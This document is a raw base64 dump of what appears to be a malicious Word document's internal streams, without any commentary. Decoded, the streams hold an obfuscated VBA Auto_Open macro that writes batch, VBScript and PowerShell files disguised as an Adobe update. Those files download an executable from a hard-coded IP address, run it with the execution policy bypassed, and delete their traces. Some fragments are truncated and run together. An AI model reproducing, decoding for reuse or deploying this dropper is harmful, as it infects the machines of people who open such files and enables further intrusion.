zZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxMb2NhbFxUZW1wXCBCJyQ6KyQ6JyQ6LickOiskOickOnYnJDorJDonJDpicyckOjsgZCRiYXRGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFwgRickOiskOickOi4nJDorJDonJDpiJyQ6KyQ6JyQ6YXQnJDo7IGQkcHNGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFwgQCckOiskOickOi4nJDorJDonJDpwJyQ6KyQ6JyQ6czEnJDo7IGRTdGFydC1TbGVlcCAtcyAxNTsgZGNtJDpkLmV4JDplIC9jICAnQzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcNDQ0LmV4JDplJzsgICAgICBkJGZpbGUxID0gZ2NpICR2YnNGaWxlUGF0aCAtRm9yY2UgZCRmaWxlMiA9IGdjaSAkYmF0RmlsZVBhdGggLUZvcmNlIGQkZmlsZTMgPSBnY2kgJHBzRmlsZVBhdGggLUZvcmNlIGQ3SWYgKFRlc3QtUGF0aCAkdmJzRmlsZVBhdGgpeyBSZW1vdmUtSXRlbSAkdmJzRmlsZVBhdGggfSBkN0lmIChUZXN0LVBhdGggJGJhdEZpbGVQYXRoKXsgUmVtb3ZlLUl0ZW0gJGJhdEZpbGVQYXRoIH0gZCRwc0hlbGxvID0gJ2Fpc2RqaGlxb3doZGlxJzsgZDlJZiAoVGVzdC1QYXRoICRzb21lRmlsZVBhdGgpeyBSZW1vdmUtSXRlbSAkc29tZUZpbGVQYXRoIH0gZChSZW1vdmUtSXRlbSAkTXlJTnZvY2F0aW9uLkludm9jYXRpb25OYW1lIGRWIC4gZiBmRGltIGRmZiBmZGZmID0gNjggZmN1cnIkPCQ6ZW50RCQ8JDppcmVjdG9yeSA9IGxlZnQoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSwoTGVuKFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUpKS0obGVuKFdTY3JpcHQuU2NyaXB0TmFtZSkpKSBmU2V0IG9iakYkPCQ6U089Q3JlYXRlT2JqZWN0KCIkOiIkOiIkOiZTIiQ6JiQ6IiQ6Y3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIkOikgZmN1cnJlbnRGJDwkOmlsZSA9ICIkOkM6XFUkPCQ6c2Vyc1wgNlxBcHBEYXRhXExvY2FsXFRlbXBcIEAiJDomIiQ6LiIkOiYiJDpwIiQ6JiIkOnMxIiQ6IGZTJDpldCBvJDpialMkOmhlbCQ8JDpsJDwkOiA9IEQkOnJlYXRlTyQ6YiQ6amVjdCgiJDpXcyQ6Y3JpcHQucyQ6aGVsbCIkOikgZm8kOmJqUyQ6aGVsbC4kOlIkOnVuICIkOnBvJDp3ZXJTJDoiJDorIiQ6aGVsbC5leCQ6ZSAtbm8kOmV4aXQgLUV4ZWN1dGlvblBvJDpsaWN5IGJ5cGFzcyAtbm8kOnBybyQ6ZmlsZSAtZmlsZSAiJDogJiBjdXJyZW50RmlsZSwwLHRydWUgZiBmViAsIGwgbEBlY2hvIG9mZiBscGluZyAxLjEuMi4yIC1uIDIgbGNoY3AgMTI1MSBsOmNzYWtjbGFzamRrbGFzIGxzZXQgVmFyMT0iJDouIiQ6IGxzZXQgVmFyMj0iJDp2IiQ6IGxzZXQgVmFyMz0iJDpicyIkOiBsc2V0IFZhcjQ9IiQ6QzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcIEIiJDogbGNzY3JpcHQuJDplJDp4JDplICVWYXI0JSVWYXIxJSVWYXIyJSVWYXIzJSBsZXhpdCBsViAqIF5BQFwgLCBeQUBcIC4gXkFAXEFAICwnICQncmswQUBBQCAgISAhPHNlbGVjdD45ZCA1KGQgOSBDQHEgICAhICE8L3NlbGVjdD45ZCA1KGQgOSBDQHEgICAgISAhPGluYm94PjlkIDUoZCA5IENAcSAgICEgITwvaW5ib3g+OWQgNShkIDkgQ0BxIG9deCAgJyAgYkFAb0FAJm9BQCZvXVBdaF1dXScgIS48c2VsZWN0PiAnPC9zZWxlY3Q+J2FzayBhczhkIGogZG5ramgxMmtoMSBzYWQnICEgOWQ5Q0AjYWFzZGxrYXNqZGFzayBhczhkIGogZG5ramgxMmtoMSBzYWQnICBCQCAhLiAhICggOWQ5Q0Bhc2psZGtsYXMnICBCQCAhICggISdxb11dMF1IXWhdXSAhLi9hc2xrZGprIHNhZGtzYWoga3NhbGpkIGtsc2FqZCBrc2FqZCBLU0pES0FTTCBKRCc8aW5ib3g+JzwvaW5ib3g+JyAhIDlkOUNAYXNrIGFzOGQgaiBkbmtqaDEya2gxIHNhZCcgIEJAICEuICEgKCA5ZDlDQCAgQkAgISAoICcgICEocW8lQXR0cmlidXRlIFZCX05hbWUgPSAiVGhpc0RvY3VtZW50Ig==33:T428,WzktdC4xKj0gLTAlLnRXMXQuRnAuUXJCcGtzYS9hKlxHezAwMDIwNEVGLTAwMDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Nn0jNC4yIzkjQzpcUFJPR1JBfjFcQ09NTU9OfjFcTUlDUk9TfjFcVkJBXFZCQTcuMVxWQkU3LkRMTCNWaXN1YWwgQmFzaWMgRm9yIEFwcGxpY2F0aW9ucypcR3swMDAyMDkwNS0wMDAwLTAwMDAtQzAwMC0wMDAwMDAwMDAwNDZ9IzguNiMwI0M6XFByb2dyYW0gRmlsZXNcTWljcm9zb2Z0IE9mZmljZVxPZmZpY2UxNVxNU1dPUkQuT0xCI01pY3Jvc29mdCBXb3JkIDE1LjAgT2JqZWN0IExpYnJhcnkqXEd7MDAwMjA0MzAtMDAwMC0wMDAwLUMwMDAtMDAwMDAwMDAwMDQ2fSMyLjAjMCNDOlxXaW5kb3dzXHN5c3RlbTMyXHN0ZG9sZTIudGxiI09MRSBBdXRvbWF0aW9uKlxDTm9ybWFsKlxDTm9ybWFsQixWKCpcR3syREY4RDA0Qy01QkZBLTEwMUItQkRFNS0wMEFBMDA0NERFNTJ9IzIuNyMwIyVDT01NT05QUk9HUkFNRklMRVMlXE1pY3Jvc29mdCBTaGFyZWRcT0ZGSUNFMTVcTVNPLkRMTCNNaWNyb3NvZnQgT2ZmaWNlIDE1LjAgT2JqZWN0IExpYnJhcnkqXEd7MEQ0NTJFRTEtRTA4Ri0xMDFBLTg1MkUtMDI2MDhDNEQwQkI0fSMyLjAjMCNDOlxXaW5kb3dzXHN5c3RlbTMyXEZNMjAuRExMI01pY3Jvc29mdCBGb3JtcyAyLjAgT2JqZWN0IExpYnJhcnkqXEd7MTI4MDQ4MzctNDY2Ri00MkQzLUJCMDgtQzM4QzI3NEFCQTVBfSMyLjAjMCNDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFxWQkVcTVNGb3Jtcy5leGQjTWljcm9zb2Z0IEZvcm1zIDIuMCBPYmplY3QgTGlicmFyeS5F34:Tae8,YXJpLzYwMC4xLjI1JysnJzsgZCRkb3ckPCQ6bi5EJDpvd25sb2FkRmlsZSgkdXJsLCRmaWxlKTsgZCYkU2NyaXB0RGlyID0gJE15SW52b2NhdGlvbi5TY3JpcHROYW1lOyBkJHNvbWVGaWxlUGF0aCA9ICclVEVNUCVcNDQ0LmV4JDwkOmUnOyBkJHZic0ZpbGVQYXRoID0gJ0M6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxMb2NhbFxUZW1wXCBCJyQ6KyQ6JyQ6LickOiskOickOnYnJDorJDonJDpicyckOjsgZCRiYXRGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFwgRickOiskOickOi4nJDorJDonJDpiJyQ6KyQ6JyQ6YXQnJDo7IGQkcHNGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFwgQCckOiskOickOi4nJDorJDonJDpwJyQ6KyQ6JyQ6czEnJDo7IGRTdGFydC1TbGVlcCAtcyAxNTsgZGNtJDpkLmV4JDplIC9jICAnQzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcNDQ0LmV4JDplJzsgICAgICBkJGZpbGUxID0gZ2NpICR2YnNGaWxlUGF0aCAtRm9yY2UgZCRmaWxlMiA9IGdjaSAkYmF0RmlsZVBhdGggLUZvcmNlIGQkZmlsZTMgPSBnY2kgJHBzRmlsZVBhdGggLUZvcmNlIGQ3SWYgKFRlc3QtUGF0aCAkdmJzRmlsZVBhdGgpeyBSZW1vdmUtSXRlbSAkdmJzRmlsZVBhdGggfSBkN0lmIChUZXN0LVBhdGggJGJhdEZpbGVQYXRoKXsgUmVtb3ZlLUl0ZW0gJGJhdEZpbGVQYXRoIH0gZCRwc0hlbGxvID0gJ2Fpc2RqaGlxb3doZGlxJzsgZDlJZiAoVGVzdC1QYXRoICRzb21lRmlsZVBhdGgpeyBSZW1vdmUtSXRlbSAkc29tZUZpbGVQYXRoIH0gZChSZW1vdmUtSXRlbSAkTXlJTnZvY2F0aW9uLkludm9jYXRpb25OYW1lIGRWIC4gZiBmRGltIGRmZiBmZGZmID0gNjggZmN1cnIkPCQ6ZW50RCQ8JDppcmVjdG9yeSA9IGxlZnQoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSwoTGVuKFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUpKS0obGVuKFdTY3JpcHQuU2NyaXB0TmFtZSkpKSBmU2V0IG9iakYkPCQ6U089Q3JlYXRlT2JqZWN0KCIkOiIkOiIkOiZTIiQ6JiQ6IiQ6Y3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIkOikgZmN1cnJlbnRGJDwkOmlsZSA9ICIkOkM6XFUkPCQ6c2Vyc1wgNlxBcHBEYXRhXExvY2FsXFRlbXBcIEAiJDomIiQ6LiIkOiYiJDpwIiQ6JiIkOnMxIiQ6IGZTJDpldCBvJDpialMkOmhlbCQ8JDpsJDwkOiA9IEQkOnJlYXRlTyQ6YiQ6amVjdCgiJDpXcyQ6Y3JpcHQucyQ6aGVsbCIkOikgZm8kOmJqUyQ6aGVsbC4kOlIkOnVuICIkOnBvJDp3ZXJTJDoiJDorIiQ6aGVsbC5leCQ6ZSAtbm8kOmV4aXQgLUV4ZWN1dGlvblBvJDpsaWN5IGJ5cGFzcyAtbm8kOnBybyQ6ZmlsZSAtZmlsZSAiJDogJiBjdXJyZW50RmlsZSwwLHRydWUgZiBmViAsIGwgbEBlY2hvIG9mZiBscGluZyAxLjEuMi4yIC1uIDIgbGNoY3AgMTI1MSBsOmNzYWtjbGFzamRrbGFzIGxzZXQgVmFyMT0iJDouIiQ6IGxzZXQgVmFyMj0iJDp2IiQ6IGxzZXQgVmFyMz0iJDpicyIkOiBsc2V0IFZhcjQ9IiQ6QzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcIEIiJDogbGNzY3JpcHQuJDplJDp4JDplICVWYXI0JSVWYXIxJSVWYXIyJSVWYXIzJSBsZXhpdCBsViAqIF5BQFwgLCBeQUBcIC4gXkFAXEFAICwnICQncmswQUBBQCAgISAhPHNlbGVjdD45ZCA1KGQgOSBDQHEgICAhICE8L3NlbGVjdD45ZCA1KGQgOSBDQHEgICAgISAhPGluYm94PjlkIDUoZCA5IENAcSAgICEgITwvaW5ib3g+OWQgNShkIDkgQ0BxIG9deCAgJyAgYkFAb0FAJm9BQCZvXVBdaF1dXScgIS48c2VsZWN0PiAnPC9zZWxlY3Q+J2FzayBhczhkIGogZG5ramgxMmtoMSBzYWQnICEgOWQ5Q0AjYWFzZGxrYXNqZGFzayBhczhkIGogZG5ramgxMmtoMSBzYWQnICBCQCAhLiAhICggOWQ5Q0Bhc2psZGtsYXMnICBCQCAhICggISdxb11dMF1IXWhdXSAhLi9hc2xrZGprIHNhZGtzYWoga3NhbGpkIGtsc2FqZCBrc2FqZCBLU0pES0FTTCBKRCc8aW5ib3g+JzwvaW5ib3g+JyAhIDlkOUNAYXNrIGFzOGQgaiBkbmtqaDEya2gxIHNhZCcgIEJAICEuICEgKCA5ZDlDQCAgQkAgISAoICcgICEocW8lQXR0cmlidXRlIFZCX05hbWUgPSAiVGhpc0RvY3VtZW50Ig==35:T58c,JGRvd24gPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR1cmwgID0gJ2h0dHA6Ly85MS4yMjAuMTMxLjQ0L3VwZC9pbnN0YWxsLmV4ZSc7JGZpbGUgPSAnJVRFTVAlXDQ0NC5leGUnOyRkb3duLmhlYWRlcnNbJ1VzZXItQWdlbnQnXSA9ICdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xMCkgQXBwbGVXZWJLaXQvNjAwLjEuMjUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzguMCBTYWZhcmkvNjAwLjEuMjUnKycnOyRkb3duLkRvd25sb2FkRmlsZSgkdXJsLCRmaWxlKTskU2NyaXB0RGlyID0gJE15SW52b2NhdGlvbi5TY3JpcHROYW1lOyRzb21lRmlsZVBhdGggPSAnQzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcNDQ0LmV4ZSc7JHZic0ZpbGVQYXRoID0gJ0M6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxMb2NhbFxUZW1wXGFkb2JlYWNkLXVwZGF0ZScrJy4nKyd2JysnYnMnOyRiYXRGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFxhZG9iZWFjZC11cGRhdGUnKycuJysnYicrJ2F0JzskcHNGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFxhZG9iZWFjZC11cGRhdGUnKycuJysncCcrJ3MxJztTdGFydC1TbGVlcCAtcyAxNTtjbWQuZXhlIC9jICAnQzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcNDQ0LmV4ZSc7ICAgICAkZmlsZTEgPSBnY2kgJHZic0ZpbGVQYXRoIC1Gb3JjZSRmaWxlMiA9IGdjaSAkYmF0RmlsZVBhdGggLUZvcmNlJGZpbGUzID0gZ2NpICRwc0ZpbGVQYXRoIC1Gb3JjZUlmIChUZXN0LVBhdGggJHZic0ZpbGVQYXRoKXsgUmVtb3ZlLUl0ZW0gJHZic0ZpbGVQYXRoIH1JZiAoVGVzdC1QYXRoICRiYXRGaWxlUGF0aCl7IFJlbW92ZS1JdGVtICRiYXRGaWxlUGF0aCB9JHBzSGVsbG8gPSAnYWlzZGpoaXFvd2hkaXEnO0lmIChUZXN0LVBhdGggJHNvbWVGaWxlUGF0aCl7IFJlbW92ZS1JdGVtICRzb21lRmlsZVBhdGggfVJlbW92ZS1JdGVtICRNeUlOdm9jYXRpb24uSW52b2NhdGlvbk5hbWU=36:T5040,U3ViIEF1dG9fT3BlbigpCiAgICBoCkVuZCBTdWIKU3ViIGgoKQpEaW0gTVlfRklMRU5ESVIsIEFTREFTRFNBLCBNWV9GSUxESVIsIFhQRklMRURJUiwgSkFJU09ESkFTCiAgICAgZHMgPSAxMDAKICAgICBVU0VSID0gRW52aXJvbiQoIiIgJmFtcDsgQ2hyKEFzYyhDaHIoZHMgKyAxNykpKSArICJzIiAmYW1wOyAiZXIiICZhbXA7ICJuYSIgJmFtcDsgIm1lIikKICAgICAKICAgICBqa3MgPSBkcwogICAgICAgICAKICAgICBQU1QyID0gIiIgJmFtcDsgImEiICsgImRvIiAmYW1wOyAiYmUiICZhbXA7ICJhYyIgJmFtcDsgImQtdSIgJmFtcDsgInBkIiAmYW1wOyAiYSIgJmFtcDsgInRlIiAmYW1wOyAiIgogICAgIFZCVDIgPSAiIiAmYW1wOyAiYSIgKyBDaHIoMTAwKSArICJvIiAmYW1wOyAiYiIgJmFtcDsgImVhIiAmYW1wOyAiY2QtdXAiICZhbXA7ICJkYSIgJmFtcDsgInRlIiAmYW1wOyAiIgogICAgIFZCVFhQMiA9ICIiICZhbXA7ICJhIiAmYW1wOyBDaHIoMTAwKSAmYW1wOyAibyIgJmFtcDsgImJlIiArICJhYyIgJmFtcDsgImQtdSIgKyAicGQiICsgImF0ZXgiICsgInAiICZhbXA7ICIiCiAgICAgQkFSVDIgPSAiIiAmYW1wOyAiYSIgKyBDaHIoMTAwKSAmYW1wOyAibyIgJmFtcDsgImIiICZhbXA7ICJlIiArICJhYyIgJmFtcDsgImQtdXAiICsgImRhdGUiICZhbXA7ICIiCiAgICAKICAgICBQU1QxID0gUFNUMiArICIuIiArIENocihBc2MoInAiKSkgKyBDaHIoZHMgKyAxNSkgKyAiMSIKICAgICBWQlQxID0gVkJUMiArICIuIiArIENocigxMTgpICsgImIiICsgQ2hyKEFzYygicyIpKSArICIiCiAgICAgVkJUWFAgPSBWQlRYUDIgKyAiLiIgKyBDaHIoQXNjKCJ2IikpICsgQ2hyKEFzYygiYiIpKSArICJzIiArICIiCiAgICAgQkFSVCA9IEJBUlQyICsgQ2hyKEFicyg0NikpICsgQ2hyKEFicyg5OCkpICsgQ2hyKEFzYyhDaHIoQXNjKCJhIikpKSkgKyBDaHIoQXNjKENocihkcyArIDE2KSkpICsgIiIKICAgICAKICAgICBKU0lRT0pRID0gQkFSVDIgKyBDaHIoQWJzKGRzIC0gMTAwIC0gNDYpKSArIENocihBYnMoZHMgLSAxMDAgLSA5OCkpICsgQ2hyKEFzYyhDaHIoQWJzKGRzIC8gMiArIDQ3KSkpKSArIENocihBc2MoQ2hyKGRzICsgRml4KDE2LjIpKSkpICsgIiIgJmFtcDsgIiIKICAgICAgICAgIAogICAgIEJBUlQgPSBKU0lRT0pRCiAgICAgTVlfRklMRU5ESVIgPSAiYzpcIiArIENocihBc2MoIlUiKSkgKyAic2Vyc1wiICsgVVNFUiArICJcQXBwRGF0YVxMb2NhbFxUZW1wXCIgKyBQU1QxICsgIiIgJmFtcDsgIiIKICAgIAogICAgIEFTREFTRFNBID0gImM6XCIgKyBDaHIoQXNjKCJVIikpICsgInNlcnNcIiArIFVTRVIgKyAiXEFwcCIgKyBDaHIoQXNjKCJEIikpICsgImF0YVxMb2NhbFwiICsgQ2hyKEFzYygiVCIpKSArICJlbXBcIiArIEJBUlQKICAgICBNWV9GSUxESVIgPSAiYzpcVXNlcnNcIiArIFVTRVIgKyAiXEFwcERhdGFcTG9jYWxcVGVtcFwiICsgVkJUMSArICIiCiAgICAgWFBGSUxFRElSID0gImM6XFdpbmRvd3NcVGVtcFwiICsgVkJUWFAKICAgICBUUlQgPSAiYzpcV2luZG93c1xUZW1wXCIgKyBCQVJUCiAgICAgS1JUID0gVFJUCiAgICAgSFlGID0gS1JUCiAgICAgTlVXSERHSlMgPSBIWUYKICAgICBKQVNIRFVJUVdIREtKUUFEID0gIi40NC91cGQvaW5zdGFsbCIKICAgICAKICAgICAgT24gRXJyb3IgUmVzdW1lIE5leHQKICAgICBTZXRBdHRyIE1ZX0ZJTEVORElSLCB2Yk5vcm1hbAogICAgIAogICAgIElmIChMZW4oRGlyKE1ZX0ZJTEVORElSKSkgJmx0OyZndDsgMCkgVGhlbgogICAgICBLaWxsIE1ZX0ZJTEVORElSCiAgICAgRW5kIElmCiAgICAgCiAgICAgT24gRXJyb3IgUmVzdW1lIE5leHQKICAgICBTZXRBdHRyIEFTREFTRFNBLCB2Yk5vcm1hbAogICAgIElmIChEaXIoQVNEQVNEU0EpICZsdDsmZ3Q7ICIiKSBUaGVuCiAgICAgIEtpbGwgQVNEQVNEU0EKICAgICBFbmQgSWYKICAgICAKICAgICBPbiBFcnJvciBSZXN1bWUgTmV4dAogICAgIFNldEF0dHIgTVlfRklMRElSLCB2Yk5vcm1hbAogICAgIElmIChEaXIoTVlfRklMRElSKSAmbHQ7Jmd0OyAiIikgVGhlbgogICAgICBLaWxsIE1ZX0ZJTERJUgogICAgIEVuZCBJZgogICAgIAogICAgIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgICAgU2V0QXR0ciBYUEZJTEVESVIsIHZiTm9ybWFsCiAgICAgSWYgKERpcihYUEZJTEVESVIpICZsdDsmZ3Q7ICIiKSBUaGVuCiAgICAgIEtpbGwgWFBGSUxFRElSCiAgICAgRW5kIElmCiAgICAgIAogICAgIERpbSBVdXdxZGhqLCBGaWxlTnVtYmVyLCBGaWxlTnVtYiwgRmlsZU51LCBGaWxlTnVHLCBGaWxlTnMsIG10dHQsIGpza3cgQXMgSW50ZWdlcgogICAgCiAgICAgRGltIHJldFZhbCBBcyBWYXJpYW50CiAgICAgCiAgICAgRmlsZU51bWJlciA9IEZyZWVGaWxlCiAgICAgRmlsZU51bWIgPSBGcmVlRmlsZQogICAgIEZpbGVOdSA9IEZyZWVGaWxlCiAgICAgRmlsZU51a2sgPSBGcmVlRmlsZQogICAgIAogICAgIEZpbGVOcyA9IEZyZWVGaWxlCiAgICAgS2FzZHdxID0gRnJlZUZpbGUKICAgICBGaWxlTnVHID0gRnJlZUZpbGUKICAgICBEaW0gb2JqV01JU2VydmljZSBBcyBWYXJpYW50CiAgICBEaW0gY29sT3BlcmF0aW5nU3lzdGVtcyBBcyBWYXJpYW50CiAgICBEaW0gb2JqT3BlcmF0aW5nU3lzdGVtIEFzIFZhcmlhbnQKICAgIFNldCBvYmpXTUlTZXJ2aWNlID0gR2V0T2JqZWN0KCJ3aW5tZ210czp7aW1wZXJzb25hdGlvbkxldmVsPWltcGVyc29uYXRlfSFcXCIgJmFtcDsgIi5ccm9vdFxjaW12MiIpCiAgICBTZXQgY29sT3BlcmF0aW5nU3lzdGVtcyA9IG9ialdNSVNlcnZpY2UuRXhlY1F1ZXJ5KCJTZWxlY3QgKiBmcm9tIFdpbjMyX09wZXJhdGluZ1N5c3RlbSIpCiAgICBGb3IgRWFjaCBvYmpPcGVyYXRpbmdTeXN0ZW0gSW4gY29sT3BlcmF0aW5nU3lzdGVtcwogICAgICAgIFN5c1JlcG9ydCA9IFN5c1JlcG9ydCAmYW1wOyAiVGhlIG9wZXJhdGluZyBzeXN0ZW0gb24gdGhpcyBjb21wdXRlciBpcyAiICZhbXA7IF8KICAgICAgICAgICAgb2JqT3BlcmF0aW5nU3lzdGVtLkNhcHRpb24gJmFtcDsgIiAgKCIgJmFtcDsgb2JqT3BlcmF0aW5nU3lzdGVtLlZlcnNpb24gJmFtcDsgIikiCiAgICBOZXh0CiAgICAgCiAgICAgU2V0IG9ialdNSVNlcnZpY2UgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9uTGV2ZWw9aW1wZXJzb25hdGV9IVxcIiAmYW1wOyAiLlxyb290XGNpbXYyIikKICAgICBTZXQgY29sT3BlcmF0aW5nU3lzdGVtcyA9IG9ialdNSVNlcnZpY2UuRXhlY1F1ZXJ5KCJTZWxlY3QgKiBmcm9tIFdpbjMyX09wZXJhdGluZ1N5c3RlbSIpCiAgICAgRm9yIEVhY2ggb2JqT3BlcmF0aW5nU3lzdGVtIEluIGNvbE9wZXJhdGluZ1N5c3RlbXMKICAgICAgICB3aW52ZXJzdHIgPSBvYmpPcGVyYXRpbmdTeXN0ZW0uVmVyc2lvbgogICAgTmV4dAogICAgCiAgICAKICAgIHdpbnZlciA9IFZhbCh3aW52ZXJzdHIpCiAgICBXYWl0Rm9yICgxKQogICAganNrdyA9IHdpbnZlcgogCiBJZiAoanNrdyAmbHQ7PSA1LjUpIFRoZW4KICAgICAgICAgIAogICAgIE9wZW4gTlVXSERHSlMgRm9yIE91dHB1dCBBcyAjS2FzZHdxCiAgICAgUHJpbnQgI0thc2R3cSwgIkBlY2hvIG9mZiIKICAgICBQcmludCAjS2FzZHdxLCAiOnBpbmthdG9yIgogICAgIFByaW50ICNLYXNkd3EsICJwaW4iICsgImcgMS4zLjEuMiAtbiIgJmFtcDsgIiAyIiArICIiCiAgICAgTEtBU0hEVUlRV0hRVURLTkJXUUtKREhRID0gInNha2RqIGxrc2FqZHMiICsgInNha2RqIHNha2pkIHNha2hkIGpocXdpdWRocXVpZCBndWdoZyIKICAgICBQcmludCAjS2FzZHdxLCAiYyIgJmFtcDsgInMiICsgImMiICZhbXA7ICJyaSIgJmFtcDsgInB0IiAmYW1wOyAiLmUiICZhbXA7IENocigxMjApICZhbXA7ICJlICIgJmFtcDsgQ2hyKDM0KSAmYW1wOyAiYzpcV2luZG93c1xUZW1wIiArICJcIiArIFZCVFhQICsgQ2hyKDM0KSArICIiCiAgICAgUHJpbnQgI0thc2R3cSwgInBpbiIgKyAiZyAyLjIuMS4xIC1uIiAmYW1wOyAiIDIiICsgIiIKICAgICBQcmludCAjS2FzZHdxLCAiIiAmYW1wOyAiOndpbmRvd3MiCiAgICAgQUlZREhMS0FTSERVSVFXSFFVREtOQldRS0pESFEgPSAicXdlMjNyMzJzYWtkaiBzZHF3bGtzYWpkcyIgKyAic2FrZGogc2FramQgc2FraGQgamhxd2l1ZGhxdWlkIGd1Z2hnIgogICAgIFdRSkhMS0FTSERVSVFXSFFVREtOQldRS0pESFEgPSAic2EzMjQ0dGdmZGtkaiBsa3NhamRzIiArICJzYWtkaiBzYWtqZCBzYWtoZCBqaHF3aXVkaHF1aWQgZ3VnaGciCiAgICAgUHJpbnQgI0thc2R3cSwgImM6XFciICsgImluZG93c1xUZSIgKyAibXBcNDQ0IiArICIuIiArIENocihBc2MoImUiKSkgKyBDaHIoQXNjKCJ4IikpICsgQ2hyKEFzYygiZSIpKQogICAgIFByaW50ICNLYXNkd3EsICI6bG9vcCIKICAgICBQcmludCAjS2FzZHdxLCAicGluIiArICJnIDEuMy4xLjIgLW4iICZhbXA7ICIgMSIKICAgICBQcmludCAjS2FzZHdxLCAic2V0IHRhcjE9IiArIENocigzNCkgKyBCQVJUICsgQ2hyKDMzICsgMSkKICAgICBQcmludCAjS2FzZHdxLCAiZGVsICIgKyBDaHIoMzQpICsgImM6XFdpbmRvd3NcVGVtcFwiICsgVkJUWFAgKyBDaHIoMzQpCiAgICAgUHJpbnQgI0thc2R3cSwgImRlbCAiICsgQ2hyKDM0KSArICJjIiAmYW1wOyAiOlwiICZhbXA7ICJXIiAmYW1wOyAiaW5kIiAmYW1wOyAib3dzXFQiICZhbXA7ICJlbSIgJmFtcDsgInBcIiArIENocigzNCkgKyAiJXRhcjElIiArICIiICZhbXA7ICIiCiAgICAgUHJpbnQgI0thc2R3cSwgImlmICIgKyAiZXhpc3QgIiArIENocigzNCkgKyAiYzpcVyIgKyAiaW5kb3dzXFQiICsgImVtcFwiICsgQ2hyKDM0KSArICIldGFyMSUiICsgIiBnb3RvIGxvb3AiICsgIiIKICAgICBQcmludCAjS2FzZHdxLCAiaWYgIiArICJleGlzdCAiICsgQ2hyKDM0KSArICJjOlxXIiArICJpbmRvd3NcVCIgKyAiZW1wXCIgKyBWQlRYUCArIENocigzNCkgKyAiIGdvdG8gbG9vcCIKICAgICBQcmludCAjS2FzZHdxLCAiZXhpdCIKICAgICBDbG9zZSAjS2FzZHdxCiAgICAgCiAgICAgV2FpdEZvciAoMikKICAgICBtdHR0ID0gODgKCiAgICAgT3BlbiBYUEZJTEVESVIgRm9yIE91dHB1dCBBcyAjRmlsZU51bWJlcgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAic3RyUlQgPSAiICsgQ2hyKDM0KSArICJoIiArIENocihBc2MoQ2hyKEFzYygidCIpKSkpICsgInQiICsgInAiICsgIjovLzkxLjIyMC4xMzEiICsgSkFTSERVSVFXSERLSlFBRCArICIuIiArIENocihBc2MoImUiKSkgKyBDaHIoQXNjKCJ4IikpICsgImUiICsgQ2hyKDM0KQogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiamZldXlncSA9ICIgKyBDaHIoMzQpICsgIjQuZSIgKyBDaHIoMzQpICsgIisiICsgQ2hyKDM0KSArICJ4ZSIgKyBDaHIoMzQpCiAgICAgUHJpbnQgI0ZpbGVOdW1iZXIsICJzdHJUZWNhdGlvbiA9ICIgKyBDaHIoMzQpICsgImM6XCIgKyBDaHIoQXNjKCJXIikpICsgImluZG93c1wiICsgQ2hyKEFzYygiVCIpKSArICJlbXBcNDQiICsgQ2hyKDM0KSArICIrIiArICJqZmV1eWdxIgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAia2hkZnUgPSIgKyBDaHIoMzQpICsgIk0iICsgQ2hyKDM0KSArICIrIiArIENocigzNCkgKyAiU1giICsgQ2hyKDM0KSArICIrIiArIENocigzNCkgKyAiTUwyLlgiICsgQ2hyKDM0KSArICIrIiArIENocigzNCkgKyAiTUxIIiArIENocigzNCkgKyAiKyIgKyBDaHIoMzQpICsgIlQiICsgQ2hyKDM0KSArICIrIiArIENocigzNCkgKyAiVCIgKyBDaHIoMzQpICsgIisiICsgIkNocig4MCkiCiAgICAgUHJpbnQgI0ZpbGVOdW1iZXIsICJTZXQgb2JqWE1MIiArICJIIiArIENocihBc2MoIlQiKSkgKyAiVFAgPSBDIiArICJyZWF0ZSIgKyBDaHIoQXNjKCJPIikpICsgImJqZWN0KGtoZGZ1KSIKICAgICBQcmludCAjRmlsZU51bWJlciwgIm9ialhNTEhUVFAub3BlbiAiICsgQ2hyKDM0KSArICJHRVQiICsgQ2hyKDM0KSArICIsIHN0clJULCBGYWxzZSIKICAgICBKQVNIREpLID0gInNlbmQoKSIKICAgICBQcmludCAjRmlsZU51bWJlciwgIm9ialhNTEhUVFAuIiArIEpBU0hESksgKyAi